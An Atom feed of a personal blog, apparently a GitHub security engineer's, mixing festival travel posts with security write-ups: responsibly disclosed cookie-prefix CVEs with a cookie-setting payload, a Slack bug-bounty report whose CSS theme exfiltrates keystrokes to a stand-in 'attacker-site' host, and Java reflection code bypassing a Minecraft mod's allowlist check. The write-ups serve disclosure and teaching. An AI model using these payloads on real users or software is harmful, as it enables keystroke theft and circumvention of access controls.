<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Matt&#39;s Blog</title>
  
  <subtitle>A technical blog</subtitle>
  <link href="https://blog.fletchto99.com/atom.xml" rel="self"/>
  
  <link href="https://blog.fletchto99.com/"/>
  <updated>2022-12-19T05:17:01.005Z</updated>
  <id>https://blog.fletchto99.com/</id>
  
  <author>
    <name>Matt Langlois</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>3 cookie related CVEs!!</title>
    <link href="https://blog.fletchto99.com/2020/december/cookie-vulnerability/"/>
    <id>https://blog.fletchto99.com/2020/december/cookie-vulnerability/</id>
    <published>2020-11-01T07:00:00.000Z</published>
    <updated>2022-12-19T05:17:01.005Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2020/december/cookie-vulnerability/banner.jpg" alt=""></div><div style="clear:both;"></div><p>Back in June my team and I found a vulnerability in the way multiple frameworks&#x2F;languages parse cookies which could allow a potential attacker to bypass cookie prefixes. At its core the vulnerability exploits the fact that these languages decode the entire cookie string, which includes the name of the cookie. In most cases that’s fine however in some unique cases certain <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Attributes">assumptions</a> are made around the naming of cookies which this exploit is able to bypass. Rails (rack), Dotnet and PHP were all affected.</p><p>In each of the affected languages the flaw allowed for a <code>__%48ost-</code> or <code>__%53ecure-</code> cookie to be set without meeting the required attributes (I.e. set without HTTPS, from root domain, or from a secure page). This means a malicious cookie set by an attacker could potentially craft a malicious <code>__%48ost-</code> and set it on their victim. <em>Note:</em> another exploit such as XSS would be required to actually set the cookie. What makes this dangerous is that an XSS vulnerability on a subdomain could even be used, bypassing any assumptions the server has around the cookie, for example <code>__Host-</code> cookies only being set on the parent domain while <code>__%48ost</code> cookies can be set anywhere.</p><p>If an attacker had XSS on a subdomain they could use the following snippet to set a malicious <code>__%48ost-</code> cookie that would be read by the parent domain as a <code>__Host-</code> cookie. Then the vulnerable language would decode the cookie and treat it as a <code>__Host-</code> prefixed cookie:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">document</span>.<span class="property">cookie</span> = <span class="string">&quot;__%48ost-evil=evil; domain=.example.com&quot;</span>;</span><br></pre></td></tr></table></figure><p>This is the example test case I submitted to rails to catch this issue. Similar tests were also submitted to PHP and Dotnet:</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">describe Rack::Utils, <span class="string">&quot;malicious cookie&quot;</span> <span class="keyword">do</span></span><br><span class="line">  <span class="comment"># Fails and __Host-evil reads the malicious value and sets it as the cookie</span></span><br><span class="line">  <span class="comment"># rather than reading the actual __Host cookie</span></span><br><span class="line">  <span class="comment">#</span></span><br><span class="line">  <span class="comment"># Furthermore, browsers enforce HostOnly for `__Host-` cookies but they would</span></span><br><span class="line">  <span class="comment"># not enforce it for &quot;__%48ost&quot; cookies so a malicious script could potentially</span></span><br><span class="line">  <span class="comment"># set this cookie knowing it would be parsed as the `__Host-` cookie</span></span><br><span class="line">  <span class="comment">#</span></span><br><span class="line">  <span class="comment"># Lastly, when the cookie is made it could be set with the `.example.com` domain</span></span><br><span class="line">  <span class="comment"># wildcard, thus a malicious script on a subdomain could set the cookie and it</span></span><br><span class="line">  <span class="comment"># would be parsed by the root domain</span></span><br><span class="line">  <span class="comment">#</span></span><br><span class="line">  <span class="comment"># This is due to the cookie being unescaped, thus:</span></span><br><span class="line">  <span class="comment"># URI.unescape(&quot;__%48ost-evil&quot;) =&gt; &quot;__Host-evil&quot;</span></span><br><span class="line">  <span class="comment">#</span></span><br><span class="line">  <span class="comment"># Currently fails, should be passing</span></span><br><span class="line">  it <span class="string">&quot;doesnt parse malicious __Host cookie&quot;</span> <span class="keyword">do</span></span><br><span class="line">    env = Rack::MockRequest.env_for(<span class="string">&quot;&quot;</span>, <span class="string">&quot;HTTP_COOKIE&quot;</span> =&gt; <span class="string">&quot;__%48ost-evil=evil;__Host-evil=abc&quot;</span>)</span><br><span class="line">    cookies = Rack::Utils.parse_cookies(env)</span><br><span class="line">    cookies.must_equal(&#123; <span class="string">&quot;__%48ost-evil&quot;</span> =&gt; <span class="string">&quot;evil&quot;</span>, <span class="string">&quot;__Host-evil&quot;</span> =&gt; <span class="string">&quot;abc&quot;</span>  &#125;)</span><br><span class="line">  <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure><p>Ultimately this vulnerability lead to 3 CVEs:</p><ul><li><a href="https://hackerone.com/reports/895727">CVE-2020-8184</a> in rails (rack)</li><li><a href="https://bugs.php.net/bug.php?id=79699">CVE-2020-7070</a> in PHP</li><li><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1045">CVE-2020-1045</a> in Dotnet</li></ul><p>Thanks to my team at GitHub for helping me identify this issue! Thanks to the Rails, PHP and Microsoft dotnet teams for the fixes!</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Back in June my team and I found a vulnerability in the way multiple languages parse cookies which could allow a potential attacker to bypass cookie prefixes. (&lt;a href=&quot;https://hackerone.com/reports/895727&quot;&gt;CVE-2020-8184&lt;/a&gt;, &lt;a href=&quot;https://bugs.php.net/bug.php?id=79699&quot;&gt;CVE-2020-7070&lt;/a&gt;, &lt;a href=&quot;https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1045&quot;&gt;CVE-2020-1045&lt;/a&gt;)&lt;/p&gt;</summary>
    
    
    
    <category term="security" scheme="https://blog.fletchto99.com/categories/security/"/>
    
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
    <category term="hackerone" scheme="https://blog.fletchto99.com/tags/hackerone/"/>
    
    <category term="technical" scheme="https://blog.fletchto99.com/tags/technical/"/>
    
  </entry>
  
  <entry>
    <title>Keylogging users via Slack themes</title>
    <link href="https://blog.fletchto99.com/2019/november/slack-vulnerability/"/>
    <id>https://blog.fletchto99.com/2019/november/slack-vulnerability/</id>
    <published>2019-11-11T07:00:00.000Z</published>
    <updated>2022-12-19T05:20:24.163Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/november/slack-vulnerability/banner.png" alt=""></div><div style="clear:both;"></div><p>Back in August I found a <a href="https://hackerone.com/reports/679969">vulnerability in Slack</a> which allowed me to keylog slack input via custom themes. I came across this vulnerability when we were having some discussions in my work’s slack regarding using CSS to change the font to <code>comic-sans</code>, as seen below:</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-id">#FFFFFF</span>;&#125;*&#123;<span class="attribute">FONT-FAMILY</span>:<span class="string">&quot;COMIC SANS MS&quot;</span><span class="meta">!IMPORTANT</span>;&#125;STYLE~<span class="selector-tag">DIV</span>,<span class="selector-tag">DIV</span><span class="selector-attr">[TABINDEX=<span class="string">&quot;-1&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>Neat right? However this is pretty harmless and likely wouldn’t result in a bounty - maybe a <code>low</code> for no input sanitization. However, I was determined to find a way in which this could genuinely become dangerous. A co-worker, <a href="https://github.com/d12">d12</a>, pointed out that <code>#FFFFFF;&#125; html &#123;display:none;&#125;</code> could be used to prevent the user’s slack instance from rendering, which is certainly much worse than just changing fonts. It should be noted that once one slack instance was modified all other instances were also modified since the theme was persisted across clients (yes… I managed to lock myself out of multiple slack test instances).</p><p>However, my ultimate goal was data exfiltration… wouldn’t it be great if we could see all the links to cat memes in the slack instance we’re not a part of? This is the point in which I learned that CSS supports attribute selectors for <a href="https://github.com/maxchehab/CSS-Keylogging/">specific values</a>. More specifically that CSS allows you to determine the most recent value added to any type of input via the <code>[value$=&quot;&lt;value&gt;&quot;]</code> selector. Furthermore, slack allows loading of external images. With this knowledge I present to you my very own custom slack theme:</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-id">#FFFFFF</span>;&#125;<span class="selector-tag">INPUT</span><span class="selector-attr">[TYPE=<span class="string">&quot;TEXT&quot;</span>]</span><span class="selector-attr">[VALUE$=<span class="string">&quot;A&quot;</span>]</span> &#123; <span class="attribute">BACKGROUND-IMAGE</span>: <span class="built_in">URL</span>(<span class="string">&quot;https://attacker-site/A&quot;</span>); &#125;,<span class="selector-id">#350d36</span>,<span class="selector-id">#1264A3</span>,<span class="selector-id">#FFFFFF</span>,<span class="selector-id">#350D36</span>,<span class="selector-id">#FFFFFF</span>,<span class="selector-id">#2BAC76</span>,<span class="selector-id">#CD2553</span></span><br></pre></td></tr></table></figure><p>This theme is capable of determining when the user types the letter <code>A</code> into an <code>&lt;input type=&quot;text&quot;&gt;</code> on slack. When the user does this the CSS will load the background image <code>https://attacker-site/A</code> which can then be logged server side to indicate the user typed the letter A. This was as much of a PoC I needed to demo to slack that it was indeed possible to exfiltrate data provided the user actually applied the custom theme. Thankfully the 1-click custom theme option was not exploitable so it still required the user to copy&#x2F;paste the theme which would certainly raise suspicions.</p><p>Here’s the PoC video I sent slack of the request being logged locally. Note how I go into channels instead of typing a message, that’s because the channel option used a text input while the message input was more complicated. I’m sure it would have been possible to write some CSS to select on the attributes there but this was enough to prove exfil was even possible.</p><div class="figure " style="width:100%"; ><video class="fig-video" controls alt="PoC exploit video"><source src="https://images.fletchto99.com/blog/2019/november/slack-vulnerability/poc.mov" type="video/mp4"><p>Your browser doesn't support HTML5 Video :/</p></video><span class="caption">PoC exploit video</span></div><p>Slack has kindly decided to disclose the vulnerability on <a href="https://hackerone.com/reports/679969">hackerone</a>.</p><h2 id="Reward"><a href="#Reward" class="headerlink" title="Reward"></a>Reward</h2><p>For finding this vulnerability slack awarded me $500. I’m using that money to match donations to my Movember campaign. If you’d like to learn more or donate click <a href="https://mobro.co/fletchto99">here</a>.</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;Back in August I found a &lt;a href=&quot;https://hackerone.com/reports/679969&quot;&gt;vulnerability in Slack&lt;/a&gt; which allowed me to keylog slack input via custom themes.&lt;/p&gt;</summary>
    
    
    
    <category term="security" scheme="https://blog.fletchto99.com/categories/security/"/>
    
    
    <category term="whitehat" scheme="https://blog.fletchto99.com/tags/whitehat/"/>
    
    <category term="hackerone" scheme="https://blog.fletchto99.com/tags/hackerone/"/>
    
  </entry>
  
  <entry>
    <title>T&#39;was festival season</title>
    <link href="https://blog.fletchto99.com/2019/september/twas-festival-season/"/>
    <id>https://blog.fletchto99.com/2019/september/twas-festival-season/</id>
    <published>2019-09-03T07:00:00.000Z</published>
    <updated>2022-12-19T05:16:39.795Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/september/twas-festival-season/banner.png" alt=""></div><div style="clear:both;"></div><p>What an amazing summer of festivals! I made some awesome new friendships as well as reunited with some old friends all for one reason: music! This summer I got to attend many music festivals and I’m going to do my best to summarize a few of them in this post.</p><p>To kick things off this summer I reignite the flame for dubstep with Global Dub Fest. It took place at Red Rocks and was actually my first festival there - it’s such a beautiful venue! It’s been a long time since I’ve listened to dubstep so I wasn’t quite sure what to expect but I was super happy to be able to see Adventure Club. Dubstep is actually what got me into EDM way back in 2012, I would listen to it while I programmed. At dub fest I met 2 amazing people whom I hope to attend more shows with in the future!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/september/twas-festival-season/1.jpg" title="Redrocks Ampitheatre during Global Dub Fest" data-caption="Redrocks Ampitheatre during Global Dub Fest" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/september/twas-festival-season/1.jpg" alt="Redrocks Ampitheatre during Global Dub Fest"></a><span class="caption">Redrocks Ampitheatre during Global Dub Fest</span></div><div style="clear:both;"></div><p>Following Global I attended a few local techno shows here in Denver, including some all night warehouse events. Those are pretty awesome since you’re raving from 1AM -&gt; 8AM non-stop with people who are there for the music. One of my favorite was when Made in Paris was playing at a warehouse here in Denver. Near the end of June I flew out to SF to attend ASOT 900 with my friend Peng. It was great to attend a night of pure trance as well as catch up with a few friends in SF. On the way back from ASOT I met a couple who are from Denver and are also into Trance. Since then we’ve attended a bunch of shows in Denver at the Church, including Orjan Nilsen (thanks Vee for the guest list)!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/september/twas-festival-season/2.jpg" title="ASOT 900 Bay Area" data-caption="ASOT 900 Bay Area" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/september/twas-festival-season/2.jpg" alt="ASOT 900 Bay Area"></a><span class="caption">ASOT 900 Bay Area</span></div><div style="clear:both;"></div><p>In July I was able to attend Global Dance Fest in Denver, something I was really looking forward to. I saw that Krewella was going to be there and I’ve been wanting to see them live for a long time! Krewella is one of the first DJ groups I listened to and they <em>threw down</em> for their set at global! Unfortunately the second day of gloabl dance was a bust due to the weather and flash flooding. However I still had a great time and would definitely recommend it! It was actually crazy, they had to evacuate us into the Broncos stadium due to the festival grounds being completely flooded and crazy amounts of hail!</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/september/twas-festival-season/3.jpg" title="The afterlife stage at Tomorrowland (Photo credits to Vee!!)" data-caption="The afterlife stage at Tomorrowland (Photo credits to Vee!!)" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/september/twas-festival-season/3.jpg" alt="The afterlife stage at Tomorrowland (Photo credits to Vee!!)"></a><span class="caption">The afterlife stage at Tomorrowland (Photo credits to Vee!!)</span></div><div style="clear:both;"></div><p>To wrap up an amazing summer of festivals I got to attend Tomorrowland. Unfortunately I missed the original ticket sale but I made some amazing friends who were able to get me a ticket (thank you so much Elsabe). I love Tomorrowland because it unites people from around the world. It’s always great to see the Discord crew too! We managed to sneak in a family photo at mainstage as well as attend a B-EAT session together! Furthermore, I’ve got some great friends, Chris &amp; Laura, whom I got to meetup with and spend the weekend with! We’re all into trance and techno so we spent quite a bit of the weekend at the stunning Atmosphere stage. My favorite set of the weekend had to be Amelie Lens but Patrice Baumel was a close second (even though I missed half of his set while I was at the first aid station).</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/september/twas-festival-season/4.jpg" title="Tomorrowland Discord crew" data-caption="Tomorrowland Discord crew" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/september/twas-festival-season/4.jpg" alt="Tomorrowland Discord crew"></a><span class="caption">Tomorrowland Discord crew</span></div><div style="clear:both;"></div><p>Finally, to close off the summer, I went to Flux Pavilion with a friend here in Denver. In summary it’s been a pretty awesome summer and it’s not even over! I’ve got a good lineup of festivals&#x2F;shows coming up over the next few months. One I’m really looking forward to is Timewarp USA! Until next time. It’s truly important to cherish the friends you make in the music community</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;What an amazing summer of festivals! I made some awesome new friendships as well as reunited with some old friends all for one reason: music!&lt;/p&gt;</summary>
    
    
    
    <category term="festivals" scheme="https://blog.fletchto99.com/categories/festivals/"/>
    
    
    <category term="tomorrowland" scheme="https://blog.fletchto99.com/tags/tomorrowland/"/>
    
    <category term="festivals" scheme="https://blog.fletchto99.com/tags/festivals/"/>
    
    <category term="travel" scheme="https://blog.fletchto99.com/tags/travel/"/>
    
  </entry>
  
  <entry>
    <title>Minecraft mods: reversing style</title>
    <link href="https://blog.fletchto99.com/2019/may/minecraft-mod-reversing/"/>
    <id>https://blog.fletchto99.com/2019/may/minecraft-mod-reversing/</id>
    <published>2019-05-13T07:00:00.000Z</published>
    <updated>2022-12-19T05:15:57.580Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/may/minecraft-mod-reversing/banner.png" alt=""></div><div style="clear:both;"></div><p>This past weekend a co-worker bought his son a Minecraft mod and unfortunately, even after payment, it still refused to allow them to use it! This was nothing a bit of simple reverse engineering couldn’t solve. Thankfully, my co-worker came up with <a href="https://carnal0wnage.attackresearch.com/2019/05/minecraft-mod-mothers-day-and-hacker-dad.html">this nifty solution</a> to get the mod working after they had purchased it. While his solution was great for a quick fix we discussed the possibility of moving it from a heavy 3rd party approach to a simpler approach using code.</p><h2 id="Research"><a href="#Research" class="headerlink" title="Research"></a>Research</h2><p>Before jumping into coding it’s always important to perform a bit of research to determine the best approach, especially when it comes to reverse engineering. So I popped open JD-GUI (it’s been too long) and opened up the files of interest which my colleague had pointed:</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/may/minecraft-mod-reversing/1.png" title="The function performing the authentication check" data-caption="The function performing the authentication check" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/may/minecraft-mod-reversing/1.png" alt="The function performing the authentication check"></a><span class="caption">The function performing the authentication check</span></div><div style="clear:both;"></div><p>My first idea was to simply inject some code which preventing the <code>betaTesters(...)</code> event handler from ever being executed. Unfortunately, after some quick research, I determined this approach required using bytecode manipulation libraries such as <a href="https://asm.ow2.io/">ASM</a> or <a href="https://commons.apache.org/proper/commons-bcel/">BCEL</a> which isn’t exactly lightweight. Realizing that injection like this would no longer work it was back to the drawing board.</p><p>Based off of my colleague’s research, it looks like the mod checks against a pre-defined list of minecraft user UUIDs which is loaded from pastebin. Instead of forcing the authentication to exit early, what if we could somehow inject our name into that list? Surely that would work as well.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/may/minecraft-mod-reversing/2.png" title="The code which loads the list of allowed users" data-caption="The code which loads the list of allowed users" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/may/minecraft-mod-reversing/2.png" alt="The code which loads the list of allowed users"></a><span class="caption">The code which loads the list of allowed users</span></div><div style="clear:both;"></div><p>After some more spelunking in JD-GUI it looks like the author left us a class variable to manipulate. Inside of the script which loads the authorized users is a <em>private</em> class variable <code>testers</code> which is populated during runtime from the pastebin link. <em>Sidenote: this means paid user’s can’t use it offline! What?!?!</em> However, if we could add our name to that arraylist then we’re golden!</p><p>Java offers up a handy set of <a href="https://docs.oracle.com/javase/tutorial/reflect/">Reflection APIs</a> which are often used to observe the runtime of an application. Reflection will actually allow us to do a little more than just observe in this case but before I go into too much detail there’s a few things I needed to check to make sure this approach would work:</p><ol><li>Is there a Java security manager in place to prevent the use of reflection?</li><li>Do we have access to the classloader which loaded the original mod (I.E. we’re not sandboxed)?</li><li>When does the authentication check for the mod occur? This will affect how we load &amp; inject.</li><li>Can we guarantee that the mod is loaded before our injection such that we’ll have access to <code>testers</code> during runtime?</li></ol><p>After a bit of research I came up with these answers:</p><ol><li>No security manager was in place… I was able to perform a simple reflection test within my mod.</li><li><a href="https://mcforge.readthedocs.io/en/latest/">Forge</a>, the minecraft mod loader, loads mods during runtime. It’s likely all mods are loaded via the same classloader and there is no sandboxing. A simple test for this was to see if I had access to classes outside of my mod during runtime.</li><li>The authentication check occurs when the user attempts to load a world, so we have plenty of time to ensure our injection occurs meaning we can load our injection once the mod is in memory. This makes accessing the original mod’s classes much easier since there’s no racing.</li><li>Forge offer us the ability to set dependencies so we can guarantee their mod loads before our injection mod.</li></ol><p>So now all we needed to do was get our <a href="https://mcuuid.net/">Minecraft user’s UUID</a> injected into the <code>testers</code> variable during runtime and we’re off to the races.</p><h2 id="Building-the-Injection-Mod"><a href="#Building-the-Injection-Mod" class="headerlink" title="Building the Injection Mod"></a>Building the Injection Mod</h2><p>Oh Java… how I haven’t missed you. After roughly an hour of dependency hell and debugging my java environment I <em>finally</em> managed to get minecraft and forge loading to the same versions that my colleague’s son plays on. Once I got all of that sorted out I made a simple “hello world” mod which loaded after the original mod. Based on the logs I could see the load order was being followed and all that was left was to inject our user into this <code>testers</code> variable.</p><p>Using the reflection APIs I was able to come up with this first pass hard coded UUID test:</p><figure class="highlight java"><figcaption><span>ModLoader.java</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// The class, including the package, which the testers variable exists in</span></span><br><span class="line"><span class="type">String</span> <span class="variable">clazz</span> <span class="operator">=</span> <span class="string">&quot;the.mod.Class&quot;</span></span><br><span class="line"><span class="type">String</span> <span class="variable">uuid</span> <span class="operator">=</span> <span class="string">&quot;my-minecraft-uuid&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Inject into the authorized users variable.</span></span><br><span class="line"><span class="type">Field</span> <span class="variable">testers</span> <span class="operator">=</span> Class.forName(clazz).getDeclaredField(<span class="string">&quot;testers&quot;</span>);</span><br><span class="line">testers.setAccessible(<span class="literal">true</span>);</span><br><span class="line">((ArrayList&lt;String&gt;)testers.get(<span class="literal">null</span>)).add(uuid);</span><br></pre></td></tr></table></figure><p>Breaking this down the <code>Class.forName(clazz)</code> will find the mod’s checker class during runtime and <code>getDeclaredField(&quot;testers&quot;)</code> will allow us to access to the testers field. At this point we can’t do anything with that field other than observe. Thankfully the Reflection API provides us a <a href="https://docs.oracle.com/javase/7/docs/api/java/lang/reflect/AccessibleObject.html#setAccessible(boolean)">setAccessible(…)</a> which we can use to make this field accessible from within our class, even though the original class set it to private. Lastly, all we needed to do was to inject our UUID into the the <code>testers</code> ArrayList. Since the author set it as a static variable we’re able to retrieve the field’s value directly using <a href="https://docs.oracle.com/javase/7/docs/api/java/lang/reflect/Field.html#get(java.lang.Object)">get(null)</a>. Since we know testers is of type <code>ArrayList&lt;String&gt;</code> we can cast to that and simply call <code>.add(...)</code> with our UUID.</p><p>Unfortunately things didn’t quite work as expected… I was still locked out! I wonder why? After some more spelunking in JD-GUI it turns out that this check occurs multiple times throughout the mod. Thankfully the author appears to have copy&#x2F;pasted the code so we were able to re-use the injection process giving us:</p><figure class="highlight java"><figcaption><span>ModLoader.java</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// The classes we need to inject into</span></span><br><span class="line">String[] clazzes = &#123;</span><br><span class="line">  <span class="string">&quot;the.mod.Class1&quot;</span>,</span><br><span class="line">  <span class="string">&quot;the.mod.Class2&quot;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">String</span> <span class="variable">uuid</span> <span class="operator">=</span> <span class="string">&quot;my-minecraft-uuid&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (String clazz : clazzes) &#123;</span><br><span class="line">  <span class="type">Field</span> <span class="variable">testers</span> <span class="operator">=</span> Class.forName(clazz).getDeclaredField(<span class="string">&quot;testers&quot;</span>);</span><br><span class="line">  testers.setAccessible(<span class="literal">true</span>);</span><br><span class="line">  ((ArrayList&lt;String&gt;)testers.get(<span class="literal">null</span>)).add(uuid);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Boom! We’re in!</strong> The last problem was allowing this to work for my colleague and his son. A hardcoded UUID wouldn’t work well here. My initial approach at solving this hurdle was to parse the user’s UUID from the web but once again we faced the same problem as the mod: no offline access! What’s my colleague’s son going to do when the internet goes out? Surely there was a better way to get this information without needing online access. Thankfully with the help of google and IntelliJ I was able to piece together a way to parse the user’s UUID without needing internet:</p><p><code>Minecraft.getMinecraft().getSession().func_148256_e().getId().toString()</code></p><p>A bit of explination how that did the magic I needed: Through googling I found that the type <code>net.minecraft.util.com.mojang.authlib.GameProfile</code> had a getter for the user’s UUID. Unfortunately this wasn’t simply accessible via forge, since the minecraft client uses some extremely basic obfuscation techniques. However with IntelliJ I was able to find that the fancy <code>func_148256_e()</code> which was typehinted to be the <code>GameProfile</code> instance I was looking for.</p><p>And putting it all together we end up with:</p><figure class="highlight java"><figcaption><span>ModLoader.java</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// The classes we need to inject into</span></span><br><span class="line">String[] clazzes = &#123;</span><br><span class="line">  <span class="string">&quot;the.mod.Class1&quot;</span>,</span><br><span class="line">  <span class="string">&quot;the.mod.Class2&quot;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Retrieve the UUID</span></span><br><span class="line"><span class="type">String</span> <span class="variable">uuid</span> <span class="operator">=</span> Minecraft.getMinecraft().getSession().func_148256_e().getId().toString();</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (String clazz : clazzes) &#123;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Load the class</span></span><br><span class="line">  <span class="type">Field</span> <span class="variable">testers</span> <span class="operator">=</span> Class.forName(clazz).getDeclaredField(<span class="string">&quot;testers&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">//Make it accessible (I.E.) not private</span></span><br><span class="line">  testers.setAccessible(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">//Add our UUID</span></span><br><span class="line">  ((ArrayList&lt;String&gt;)testers.get(<span class="literal">null</span>)).add(uuid);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Of course all of that was wrapped in some boilerplate mod code. Furthermore, the injection mod’s manifest allowed me to specify that it depended on the other mod being loaded, which gives us 2 wins: we guarantee the other mod loads first and we guarantee the classes we’re looking for will exist at runtime. I didn’t really do any error handling other than just ignoring all errors so minecraft wouldn’t crash.</p><p>It’s been a while since I’ve touched minecraft but this made for a fun evening. Remember if you enjoy using these mods make sure to support the authors! I used to <a href="https://dev.bukkit.org/members/fletch_to_99/projects">make plugins</a> for minecraft and it really meant a lot to me when someone paid&#x2F;donated! Hopefully you learned something and if you’re planning on using any knowledge you gained here, please make sure to use it for good. Support indie developers :)</p><span id="more"></span><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>]]></content>
    
    
    <summary type="html">&lt;p&gt;This past weekend a co-worker bought his son a Minecraft mod and unfortunately, even after payment, it still refused to allow them to use it! This was nothing a bit of simple reverse engineering couldn’t solve.&lt;/p&gt;</summary>
    
    
    
    <category term="technical" scheme="https://blog.fletchto99.com/categories/technical/"/>
    
    
    <category term="security" scheme="https://blog.fletchto99.com/tags/security/"/>
    
    <category term="technical" scheme="https://blog.fletchto99.com/tags/technical/"/>
    
  </entry>
  
  <entry>
    <title>The hymn of the frozen lotus</title>
    <link href="https://blog.fletchto99.com/2019/april/tomorrowland/"/>
    <id>https://blog.fletchto99.com/2019/april/tomorrowland/</id>
    <published>2019-04-27T07:00:00.000Z</published>
    <updated>2022-12-19T05:14:22.807Z</updated>
    
    <content type="html"><![CDATA[<!-- excerpt --><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/banner.jpg" alt=""></div><div style="clear:both;"></div><p>Last month I watched music bring the french alps alive for the first ever edition of Tomorrowland Winter. Not only did I get to watch music unite thousands of people but I also go to spend a month in Europe with some amazing friends.</p><div class="figure center" style="width:;"><a class="fancybox" href="https://images.fletchto99.com/blog/2019/april/tomorrowland/1.jpg" title="The Mainstage of Tomorrowland Winter" data-caption="The Mainstage of Tomorrowland Winter" data-fancybox="default"><img class="fig-img" src="https://images.fletchto99.com/blog/2019/april/tomorrowland/1.jpg" alt="The Mainstage of Tomorrowland Winter"></a><span class="caption">The Mainstage of Tomorrowland Winter</span></div><div style="clear:both;"></div><p>To kick off the trip Forest and I traveled to the Netherlands to meet up with Jurre. It still amazes me that Jurre and I met online nearly 10 years ago! The first few days in the Netherlands I spent working out of GitHub’s Amsterdam office meeting my European colleagues while Jurre showed forest around Amsterdam. I’m truly blessed to be able to work with colleagues from around the world.</p><p>Since this was Forest’s first time so we made sure to show him all of the local sights. I somehow convinced him to try some kapsalon which is basically the dutch version of poutine. One of the nights we did a mini Tomorrowland discord meetup in Rotterdam. It’s amazing how possible it is to stay connected these days. At the end of the week Forest and I took a 